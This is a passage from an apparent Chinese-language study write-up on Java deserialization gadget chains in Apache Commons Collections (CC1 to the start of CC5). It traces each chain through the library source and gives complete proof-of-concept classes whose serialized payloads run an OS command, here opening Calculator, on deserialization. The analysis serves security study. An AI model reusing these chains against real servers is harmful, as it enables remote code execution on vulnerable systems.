TransformedMap自己没有entrySet,所以会执行距离它最近的父类的entrySet方法。

也就是AbstractInputCheckedMapDecorator的entrySet方法:

image-20210513202149561

这里map的值为HashMap<”value”,”value”>,this是本类对象 TransformedMap outMap

调用的是本类内部类EntrySet的构造函数

image-20210513203152290

所以这个Entry函数ruturn回去就是一个AbstractInputCheckedMapDecorator$EntrySet的对象,结构是(注意他们的类别):

image-20210513205357509

<<”value”,”value”>,outMap>就是var5

接下来会执行iterator方法,这个方法AbstractInputCheckedMapDecorator#EntrySet也做了实现:

image-20210513205526861

可以看出,实现了对collection的迭代器和parent的操作

跟进去看EntrySetIterator的实现:

image-20210513205918283

返回一个迭代器就是var4,是。

接下来,var5=var4.next()

跟进去next方法:

image-20210513210302272

好家伙,直接返回了一个MapEntry,entry是entry,parent一直都是TransformedMap outMap

这下终于理清了,是cc直接搞得鬼。

var5就是AbstractInputCheckedMapDecorator$MapEntry类

接下来之后对var5进行setValue调用,由于var5是AbstractInputCheckedMapDecorator$MapEntry对象,所以会执行自己的setValue方法:

image-20210513210604593

由于这里parent一直是TransformedMap对象outMap,所以调用的是TransformedMap的checkSetValue方法:

image-20210513210818971

可以看到,这时候outMap一直帮我们存着的chain原来放在了valueTransformer的属性里,也就自然会被执行了。

接下来就是熟悉的情节了:

image-20210513211012291

触发。

LazyMap版本

LazyMap也调用了transform方法。

利用链寻找

对Transformer接口中的transform方法find usage:

image-20210513111502143

image-20210513111521568

get方法首先判断map中是否已有该key,如果不存在,最终会到factory.transform进行处理。

image-20210513111833377

能发现decorate方法可以new一个LazyMap方法,如果factory可控,就很有搞头了。

接下来要找找哪些方法会调用LazyMap的get方法(最好是readObject内部会用到,最契合的条件,可惜没有)

坑点记录:记一次对线rt.jar

发现AnnotationInvocationHandler内部的invoke调用了get方法:

image-20210513153931088

我们可以发现在这个类中,memberValues是Map对象,并且有对map的get操作。

LazyMap也是Map的子类,重写了get方法,所以这里如果memberValues是LazyMap类对象,会成功调用LazyMap的get方法,就可以触发漏洞。

所以如何触发这个invoke函数呢?

PoC构造

需要依赖动态代理,参考之前的博客

总结就是被动态代理的对象调用任意方法都会调用对应的InvocationHandler的invoke方法。

写个小例子好理解:

image-20210513160306511

目前已有条件:

  • AnnotationInvocationHandler的readObject方法可以触发setValue,
  • cc里面很多Map的setValue方法可以调用transform方法
  • LazyMap的invoke可以调用Map.get方法,LazyMap重写的get方法可以触发transform方法
  • ChainedTransformer的transform方法可以将里面InvokerTransformer的内容进行成环invoke触发

这个感觉就像:

handler是一个InvocationHandler类对象,他内部有invoke方法

我们可以做一个代理类a,让这个代理类代理LazyMap对象,handler也参与,负责invoke

这样的话,无论以后a调用了LazyMap内部的任何方法,他都会先走一遍handler的invoke方法。

注意最后一句话,我们想让”他都会先走一遍handler的invoke方法”,handler的invoke方法就是LazyMap的invoke方法

抱着这个目标,我们还可以发现:

  • AnnotationInvocationHandler继承了InvocationHandler,它也可以当动态代理,也可以作为handler

所以我们可以:

  • 先拿到AnnotationInvocationHandler的构造函数cons
  • 先用cons做一个AnnotationInvocationHandler的实例h1,h1的memberValues属性是一个LazyMap(包装好innermap和chain)
  • 再用h1参与Proxy.newProxyInstance,去做一个LazyMap的代理实例mapProxy
  • 再用cons去做一个AnnotationInvocationHandler的实例h2,h2的memberValues属性是mapProxy

这时候h2作为payload,参与序列化操作。

我们主要关注反序列化:

断点下到第一个readObject位置,java.io.ObjectInputStream#readSerialData:

image-20210513170527485

slots数组里面的内容就是h2,可以看到类型是AnnotationInvocationHandler

接下来会走到java.io.ObjectInputStream#invoke方法,可以看到ma=readObject,obj=h2

image-20210513171248714

先在AnnotationInvocationHandler.readObject下断点,然后over-step:

image-20210513171910871

果然进入到readObject方法,理论上现在this.memberValues就是我们传进来的mapProxy参数。

mapProxy是一个动态代理,它代理了LazyMap这个类,handler是h1。

那么这里一但mapProxy调用了任何方法,都会走handler(h1)的invoke方法,this.memberValues.entrySet()就是一次调用

这里可以先在AnnotationInvocationHandler类的invoke处下一个断点,然后step-over:

image-20210513182135950

这里继续往下看,发现AnnotationInvocationHandler类的invoke调用了this.memberValues.get():

image-20210513182402111

这会再一次触发h1的invoke函数,并且现在this.memberValues的值为h1的参数,类型是LazyMap,factory就是lazymap属性,就是我们传进去的chain,的那么就会进入LazyMap.get方法:

LazyMap.get内部就会有transform方法:

image-20210513183528337

如果当前factory是我们的chain,那就会触发RCE。

1
2
3
4
5
6
7
ObjectInputStream.readObject() -> 
AnnotationInvocationHandler.readObject() ->
this.memberValues.entrySet() = mapProxy.entrySet() ->
AnnotationInvocationHandler.invoke() ->
this.memberValues.get(xx) = LazyMap.get(not_exist_key) ->
ChainedTransformer.transform() -> InvokerTransfomer.transform() ->
RCE

最终版本PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class CommonsCollections1_LazyMap_Exploit {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

HashMap innerMap = new HashMap();
innerMap.put("value","abcd");

Map lazyMap = LazyMap.decorate(innerMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

// 创建携带着LazyMap的AnnotationInvocationHandler实例h1
InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class,lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), h1);

// 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues
InvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class, mapProxy);

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc1_LazyMap.ser")));
fout.writeObject(h2);

//2.服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc1_LazyMap.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

cc2

条件:

  • commons-collections4: 4.0
  • jdk1.7 1.8低版本

maven:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

预备知识:

javassist

JVM类加载机制

利用链寻找

第一件事依然是寻找readObject复写点,这次盯上的是jdk的PriorityQueue

PriorityQueue 优先级队列是基于优先级堆的一种特殊队列 , 它满足队列 “ 队尾进 , 队头出 “ 的特点

队列中每次插入或删除元素时 , 都会调用 Comparator 方法对队列进行调整

缺省情况下 , 优先级队列会根据自然顺序对元素进行排序 , 形成一个最小堆( 父节点的键值总是小于或等于任何一个子节点的键值 ) . 当指定了Comparator后 , 优先级队列会根据Comparator的定义对元素进行排序.

梳理了一下PriorityQueue类的流程:

image-20210514104821773

可以看到queue和comparator都是进行了可控性的传递。

那这里我们继续寻找哪些实现了Comparator接口的类拥有compare方法,目标锁定到TransformingComparator

image-20210514120620377

哦这熟悉的transformer.transform 可控!

但是他并不像ChainedTransformer一样是成环transform,仅仅调用了一次Comparator.compare。

TransformingComparator版本

最终版本PoC

这里完全可以借助这一点,写一版PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class CommonsCollections2_TransformingComparator_Exploit {
public static void main(String[] args) throws Exception {
Transformer[] raw_payload = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /Applications/Calculator.app"})};

ChainedTransformer chain = new ChainedTransformer(raw_payload);
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc2_TransformingComparator.ser")));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc2_TransformingComparator.ser")));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

细节

  1. 为什么put了两个值:

因为在heapify方法实现如下:

image-20210514110829082

这里只有size>1才能进入循环。

  1. add做了什么事?

两次add做了什么事,这里要force-step(红色的小箭头)进入

调用梳理如下:

1
add() -> offer() -(第二次才会)-> siftUp() -> siftUpComparable()

image-20210514112304003

第二次:

image-20210514112556522

由于我们没有设置comparator,所以会进入else分支:

image-20210514112722687

siftUpComparable方法只是把元素放到队列里,并没有做什么事:

image-20210514113611190

  1. 为什么还反射来构造函数来修改值?

因为为了可以满足赋值,需要让comparator属性为null,才能继续走:

image-20210514112722687

当我们再次反射,是为了可以在之后的readObject里面使用comparator属性来调用compare方法,我们需要给他赋值恶意chain。

流程梳理

  1. payload:PriorityQueue(2,TransformingComparator(transformer = chain))
  2. 对于PriorityQueue来说,他的comparator就是TransformingComparator(transformer = chain)这一串东西。
  3. 首先肯定是进入PriorityQueue的readObject方法,一路走。
  4. 之后重点在PriorityQueue的siftDown方法中,会校验comparator是否为null,显然不是,进入siftDownUsingComparator方法。
  5. 之后在siftDownUsingComparator进行了comparator.compare,下图显示
  6. 由于comparator是TransformingComparator类对象,所以进入TransformingComparator的compare方法
  7. 这时TransformingComparator对象的this.transformer属性就是chain,chain.transform成环调用,触发。

image-20210514122321048

image-20210514122515406

第一个transform就会触发。

TemplatesImpl版本

ysoserial用的是这个版本

之前提到过,TransformingComparator的compare内部并不像ChainedTransformer的transform一样是成环transform。

ysoserial把目光聚焦在了TemplatesImpl里面

TemplatesImpl位于rt.jar下的sun包里面,源码分析:

TemplatesImpl这个类有两个属性:

  • _bytecodes:byte[] 字节码的字节数组
  • _class: Class[] 根据 _bytecode 生成的Class对象

可以看到:

getTransletInstance

image-20210514132343726

defineTransletClasses

image-20210514115801660

image-20210514115709993

我们都知道静态代码块可以在类加载的同时执行,所以我们只要生成一个类,这个类的静态代码块里执行恶意命令。

所以这里我们就要找,哪里可以调用getTransletInstance方法,

发现在本类的newTransformer里面调用了getTransletInstance:

image-20210514133144671

那哪里调用了newTransformer方法呢?发现在getoutputProperties里调用了:

image-20210514133248367

这部分有点乱画个调用图:

image-20210514183849675

所以到目前为止,我们的收获:

  1. PriorityQueue的readObject可以走到Comparator接口的compare方法
  2. TransformingComparator是Comparator的实现类,TransformingComparator的transform方法会调用Tranformer接口的transform函数
  3. 另一方面,TransformerImpl的newTransformer的一系列操作可以将_bytecode数组里面的内容加载进虚拟机,获得一个AbstractTranslet类的对象
  4. 创建这个对象的时候,Class类对象里的静态代码块必将被执行

所以现在的问题就是,如何将一个实现了Tranformer接口的类,他的transform方法和TransformerImpl的newTransformer结合到一起。

纽带

我们发现TransformingComparator的构造函数可以将Transformer类放入自身transformer类属性:

image-20210514142610125

隐隐约约感觉能连上!

ysoserial的思路是将恶意操作放在一个类的静态代码块中,将这个类的bytecode传递给某个可控参数,最终传递给invoke函数命令执行。

开始构造PoC:

构造流程:

  1. 首先我们要有一个PriorityQueue对象pq在最外面,作为readObject的入口
  2. javassist生成一个恶意类,它的静态代码块中有恶意命令,获得这个恶意类的字节数组
  3. 拿到之后如何传递到链中,我们的payload说到底是一个static代码块,最理想的情况就是它被newInstance了,那我们就要找哪些方法可以做到,等等,好像不需要再找了,因为前文提到的TemplatesImpl的_bytecode数组内容在TemplatesImpl的getTransletInstance方法中被defineClass了
  4. 那么,现在问题就来到哪些类可以调用getTransletInstance方法呢?发现正巧的是TemplatesImpl自己的newTransformer就可以调用
  5. 所以现在就来到哪里可以调用newTransformer方法,发现没有,但是我们降维武器反射,这里需要用InvokeTransformer[]来包装一下“newTransformer”
  6. 现在还需要一个TemplatesImpl对象tmpl来帮我们做纽带,并且将这个对象的bytecode属性设置为恶意类,还要保证属性name不为null
  7. tmpl现在的bytecode属性内容就是恶意类,所以调用tmpl的newTransformer方法就可以了!

一些细节

  1. 为什么恶意类要继承AbstractTranslet?

    因为TemplatesImpl的defineTransletClasses方法中有个判断,如果当前恶意类的父类不是AbstractTranslet的话,_tranletIndecx的值就是初始值-1。但是对于我们,class[0]就是我们的恶意类的Class对象,后续的newInstance离不开它,所以我们当然希望_tranletIndex的值就是0。

image-20210514163650043

为什么_tranletIndex的值一定要是0呢???因为我们可以看到在TemplatesImpl的getTransletInstance中:image-20210514164219670

_transletIndex决定了_class数组的检索位置。

  1. 为什么_name_class属性要为null?

因为在getTransletClasses中,只有满足这两个方法,才能进入defineTransletClasses:

image-20210514164740087

  1. 为什么要改size的值?

因为在heapify()中:

image-20210514165822726

PriorityQueue的size属性默认是0,在这就会断掉。

  1. 为什么不能直接给PriorityQueue的queue属性去赋值?非要用反射?

queue的值其实会在compare中当作参数,所以一定要有值。

不能直接赋值是因为:

抛开queue属性是private transient Object[] queue;

queue属性以及其长度都是初始化时候得到的

image-20210514172000161

好的现在如果是queue.add()的话:

只改一个地方:

image-20210514172637366

(其实这里面只add一次tmpl也是可以的)

第一次是2,他会先进行一个自动装箱,变成new Integer(2),因为PriorityQueue接受Obejct泛型。

第一次由于size是初始值0,所以只是老实的进入queue[0],size变成1

第二次由于是i=size,目前size是1,会进入siftUp函数

image-20210514173317035

然后进入siftUpUsingComparator:

image-20210514173453769

这里多说几句,可以看到k,x两个参数1和tmpl

parent是0,e=queue[1]也就是Integer(1)

接下来会进入comparator的compare方法;

来到第一个tranform:

image-20210514173727496

仔细看的话可以看出来obj1是上面siftUpUsingComparator函数的第二个函数x也就是Tmpl,obj2是上面的e,就是第一次传进去的值2

这里就会提前触发调用链,利用失败。

多说一句,就算绕过这里,在第三行this.decorated.compare语句又会走向哪里?

我们当前传进来的comparator采用的是第一个构造函数,只有一个InvokerTransformer[]

image-20210514174908649

这里面第二个参数是什么?

image-20210514174938291

再点进去发现是包装类的compareTo方法:

image-20210514175531065

那就没事了。

现在可以回答这个问题了,因为会提前触发利用链,并且value1和value2的分别是两次transform的值,如果类型相同,是会走到这里的。

  1. 第一个传进去的tmpl在哪里用到了?

跟一遍,会发现在compare这里传进去了,给了transform:

image-20210514180443283

  1. 细心的你会发现,PriorityQueue的queue这个属性是transient的,为什么还能序列化成功?

    image-20210514180903833

queue本身作为transient属性,讲道理是不能写入到序列化的二进制文件中的。

是因为在PriorityQueue的writeObject方法中:

image-20210514181212114

他先拿到流,然后把queue的内容循环的写入到流中,这样就被保存了下来。

最终版本PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class TemplatesImpl_Exploit {
public static void main(String[] args) throws Exception {
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("3xpl01t");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();

//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "0range");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);

//3.开始做InvokerTransformer 命名为iInvokerTransformer,需要借助它内部的invoke方法调用newTransformer方法
//然后用TransformingComparator包装他,因为TransformingComparator的构造函数可以把iInvokerTransformer传递给自身transformer属性
InvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator iTransformingComparator = new TransformingComparator(iInvokerTransformer);

//4.开始new一个 PriorityQueue,因为他的readObject方法是一切的开始
PriorityQueue pq = new PriorityQueue(2);

Object[] queueArray = new Object[]{tmpl, 2};

//解封属性comparator, iTransformingComparator => _comparator
Field _comparator = PriorityQueue.class.getDeclaredField("comparator");
_comparator.setAccessible(true);
_comparator.set(pq, iTransformingComparator);
//解封属性queue,queueArray => _queue
Field _queue = PriorityQueue.class.getDeclaredField("queue");
_queue.setAccessible(true);
_queue.set(pq, queueArray);
//size修改为2
Field _size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
_size.setAccessible(true);
_size.set(pq, 2);


try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir") + "/src/main/resources/Payload_cc2_TemplatesImpl.ser")));
outputStream.writeObject(pq);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir") + "/src/main/resources/Payload_cc2_TemplatesImpl.ser")));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

cc3

条件:

  • commons-collections: 3.1~3.2.1
  • jdk7u21之前

cc3更像是cc1和cc2的缝合变体,借助了cc1的lazyMap+动态代理和cc2的newInstance。

利用链寻找

如果我们先从后半段开始看,和cc2一样,我们的目标是执行TemplatesImpl的newTransformer方法来newInstance

cc2中我们知道,newTransformer方法属于TemplatesImpl类,更是Templates接口的方法,

我们需要寻找哪里调用了Templates.newTransformer方法

搜索一圈发现TrAXFilter这个类比较合适:

image-20210515111125775

跟进去看,发现构造函数依赖Templates接口的参数,会调用参数的newTransformer方法:

image-20210515112530417

所以现在,我们需要构造这个参数templates

或者new 一个TrAXFilter类的实例也是可以的啊!ysoserial选择了后者

怎样可以new一个实例呢?

ysoserial找到了InstantiateTransformer,看看他的transform方法:

image-20210515104145715

可以看到,这里面调用了input参数的调用方法,然后借助iParamTypes和iArgs实例化了一个对象出来。

我们还记得cc1中的Chain可以循环调用transform方法,我们让input是TrAXFilter类对象不就可以了么

所以这里还是得用到chain

有了chain,问题来到了哪里会调用chain的入口点呢也就是chain的第一个transform方法?

记得cc1的LazyMap么?他的get方法会调用transform,如果这里是chain不就美滋滋了么

image-20210515134002101

哪里可以调用lazyMap的get方法呢?

或许你还记得cc1的InvocationHandler的invoke会调用get方法:

image-20210515145038750

稳,现在就是怎么让memberValues参数是LazyMap类型呢?

image-20210515145145356

降维打击,动态代理

我认为这里的思路一定是ysoserial的师傅们看到了AnnotationInvocationHandler既然是InvocationHandler的子类才想到。

假设现在有一个AnnotationInvocationHandler的类H

我们都知道,H要是想执行invoke方法,一定是H作为handler参与了一个动态代理类的实现

我们假设上一句话提到的“一个动态代理类”是p,p调用了任何方法,都会交付给H的invoke去做。

同时我们还发现AnnotationInvocationHandler的readObject方法

image-20210515151042914

他可以对Map类型的属性memberValues执行entrySet方法

这里其实entrySet或者什么别的其实都不重要,重要的是发生了调用

所以这里如果this,memberValues是一个LazyMap的代理类,那么这个代理类的handler的invoke方法就必将会执行。

所以我们上文提到的p,作为代理类,完全可以代理LazyMap类,handler配置为H就可以了

那么现在就是确定了我们的payload最外面是AnnotationInvocationHandler类,起名h2,我们要把h2.memberValues配置为一个动态代理,这里可以起名为mapProxy。

mapProxy目标是为了存放在h2.memberValues里,为了invoke。

mapProxy的handler位置需要设置为h1,这个h1也是AnnotationInvocationHandler类,h1.memberValues需要设置为LazyMap,为了LazyMap.get。

所以正常走下来就是:

1
h2.readObject() -> h2.memberValues.xxx() -> mapproxy.xxx() -> h1.invoke() -> h1.memberValues.get() -> LazyMap.get()

成功续命。

调用链流程梳理

正常进入AnnotationInvocationHandler的readObject方法,h2的memberValues属性就是mapProxy

image-20210515133241920

这里由于mapProxy是动态代理,所以只要调用就会调用handler的invoke方法,mapProxy的handler就是h1

h1也是AnnotationInvocationHandler类,所以会进入本类AnnotationInvocationHandler的invoke方法:

image-20210515133608739

由于h1的memberValues属性是传进去的lazymap,所以会调用LazyMap的get方法:

image-20210515134002101

factory是chain,会进入chain的transform,接下里就很熟悉了:

image-20210515134046605

成环调用,chain中第一个是元素是new ConstantTransformer(TrAXFilter.class),所以看上面,第一个循环的object返回的就是TrAXFilter的类对象(get(key)参数被无情抛弃),重点是第二次,会进入InstantiateTransformer的transform方法:

image-20210515140301462

这里面细说,input参数是第一次object对象也就是TrAXFilter.class类对象,iParamTypes属性就是外面构造好的Templates.class类对象,iArgs属性就是提前传进来的tmpl对象。

con方法是TrAXFilter类中,满足只有一个Templates接口参数的构造函数。

tmpl是TemplatesImpl类,会调用Templates接口的newInstance方法,参数是iArgs也就是tmpl。

所以这里会走到TrAXFilter类的构造函数:

image-20210515140852568

导致触发!

最终版本PoC

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public class TrAXFilter_Exploit {
public static void main(String[] args) throws Exception{
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("3xpl01t");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();



//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "0range");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);


//3.构造chain,封装进LazyMap
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmpl}
)
};

ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain);

//4. 拿到cons,先做一个h1,h1.memberValues = lazymap
final Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class,lazymap);

// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),h1);

// 创建一个AnnotationInvocationHandler实例h2,并且把刚刚创建的代理赋值给h2.memberValues
InvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class, mapProxy);


//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc3_TrAXFilter.ser")));
fout.writeObject(h2);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc3_TrAXFilter.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

cc4

环境:

  • commons-collections4: 4.0
  • jdk7u21之前

cc4是cc2和cc3的杂交体

前半段用了cc2的PriorityQueue以及TransformingComparator,TransformingComparator本来应该调用InvokeTransformer的transform方法的,但是因为InvokeTransformer被ban掉了,所以这里ysoserial用了cc3的chain,里面用的是InstantiateTransformer,用了InstantiateTransformer就必须要进行类实例的构造,也就和cc3后面一样了,也用了TrAXFilter来包装TemplatesImpl。

利用链构造

cc2里面的前半部分可以一直走到TransformingComparator的transform方法:

image-20210516161059025

在cc2里面,这里面的this.transformer是InvokerTransformer,但是在cc4里,我们需要换成chain来包装InstantiateTransformer,也就离不开后续TrAXFilter的newInstance了。

最终版本PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
public static void main(String[] args) throws Exception{
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("3xpl01t");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();

//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "0range");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);

//3.构造chain,包装成TransformingComparator里,构造成
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmpl}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator iTransComparator = new TransformingComparator(chain);

//4.开始new一个 PriorityQueue,因为他的readObject方法是一切的开始
PriorityQueue pq = new PriorityQueue(2);

Object[] queueArray = new Object[]{tmpl, 2};

//解封属性comparator, iTransformingComparator => _comparator
Field _comparator = PriorityQueue.class.getDeclaredField("comparator");
_comparator.setAccessible(true);
_comparator.set(pq, iTransComparator);
//解封属性queue,queueArray => _queue
Field _queue = PriorityQueue.class.getDeclaredField("queue");
_queue.setAccessible(true);
_queue.set(pq, queueArray);
//size修改为2
Field _size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
_size.setAccessible(true);
_size.set(pq, 2);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir") + "/src/main/resources/Payload_cc4_PriorityQueue.ser")));
outputStream.writeObject(pq);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir") + "/src/main/resources/Payload_cc4_PriorityQueue.ser")));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

这里面在PriorityQueue处还可以有第二种写法:

1
2
3
4
5
6
7
8
9
//4.开始new一个 PriorityQueue,因为他的readObject方法是一切的开始
PriorityQueue pq = new PriorityQueue(2);
pq.add(1);
pq.add(1);

//解封属性comparator, iTransformingComparator => _comparator
Field _comparator = PriorityQueue.class.getDeclaredField("comparator");
_comparator.setAccessible(true);
_comparator.set(pq, iTransComparator);

第二种为什么只提前add了两下就可以了呢?

debug一下,看第一次add:

image-20210516171058621

size默认是0,所以这里属性queue[]已经赋值了第一个元素Integer(1),size也被复制为1

第二次add:

image-20210516171416672

进到siftUp看一下,我们没有给comparator赋值,所以会进入else分支:

image-20210516171513699

siftUpComparator会将元素重新排序:

image-20210516171612711

两次add结束之后的状态:

image-20210516171655090

接下来解封comparator属性,包我们构造好的TransformingComparator借助反射赋值给它:

image-20210516171754309

最终属性:

image-20210516171933102

话说回来,要是第一种,没有提前add两次赋值呢?

简短来说,那就是size和parator都没有赋值,只能再麻烦用反射去给size和queue赋值。

cc5

条件:

  • commons-collections:3.1-3.2.1

  • jdk1.8

利用链寻找

因为jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以在jdk1.8版本就必须找出能替代AnnotationInvocationHandler的新的可以利用的类,所以TiedMapEntry和BadAttributeValueExpException就被挖掘了出来。

先看cc中的TiedMapEntry的源码:

image-20210516200356238

这里的map属性显然是可控的。

如果是我们熟悉的LazyMap就好了,这样就可以调用LazyMap.get方法进而触发Transformer的transform函数,执行调用链。

哪里可以调用TiedMapEntry的getValue呢?

TiedMapEntry的toString方法就可以

image-20210516200813987

